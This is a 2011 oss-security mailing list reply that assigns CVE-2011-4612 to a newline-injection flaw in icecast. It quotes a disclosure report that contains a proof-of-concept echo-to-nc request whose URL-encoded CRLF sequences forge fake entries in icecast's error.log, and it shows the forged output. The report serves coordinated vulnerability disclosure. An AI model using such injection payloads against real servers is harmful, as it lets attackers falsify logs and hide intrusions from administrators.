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Date: Thu, 15 Dec 2011 14:37:08 -0700
From: Kurt Seifried <kseifried@...hat.com>
To: oss-security@...ts.openwall.com
CC: Jamie Strandboge <jamie@...onical.com>, icecast-dev@...h.org,
security@...ntu.com, security@...itz-naumann.com
Subject: Re: Security issue in icecast
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On 12/15/2011 11:25 AM, Jamie Strandboge wrote:
> A security bug was reported by Moritz Naumann against icecast in
> Ubuntu. You are being emailed as the upstream contact. Please keep
> oss-security@...ts.openwall.com[1] CC'd for any updates on this issue.
>
> This issue should be considered public and has not yet been assigned a
> CVE.
>
> Details from the public bug follow:
> https://launchpad.net/bugs/894782
>
> From the reporter:
> "Newline injection in error.log
>
> Running this command against an icecast2 running on 127.0.0.1...
>
> echo -ne "GET /non-existent"'"'"%20No%20such%20file%20or%20directory%0d%
> 0a[1970-01-01%20%2000:00:00]%20PHUN%20I'm%20feeling%20phunny%0d%
> 0a["`date "+%Y-%m-%d%%20%%20%H:%M:%S"`"]%20WARN%
> 20fserve/fserve_client_create%20req%20for%20file%
> 20"'"'"/usr/share/icecast2/web/ HTTP/1.0\n\n" | nc -vv 127.0.0.1 8000
>> /dev/null
>
> ...causes the following to be written to /var/log/icecast2/error.log:
> [2011-11-25 15:37:31] INFO fserve/fserve_client_create checking for
> file /non-existent" No such file or directory
> [1970-01-01 00:00:00] PHUN I'm feeling phunny
> ..."
>
> Thanks in advance for your cooperation in coordinating a fix for this
> issue.
>
> [1] oss-security@...ts.openwall.com is a public mailing list for
> people to collaborate on security vulnerabilities and coordinate
> security updates.
>
Please use CVE-2011-4612 for this issue.
BTW: excellent and clear CVE request, thank you!
- --
- -Kurt Seifried / Red Hat Security Response Team
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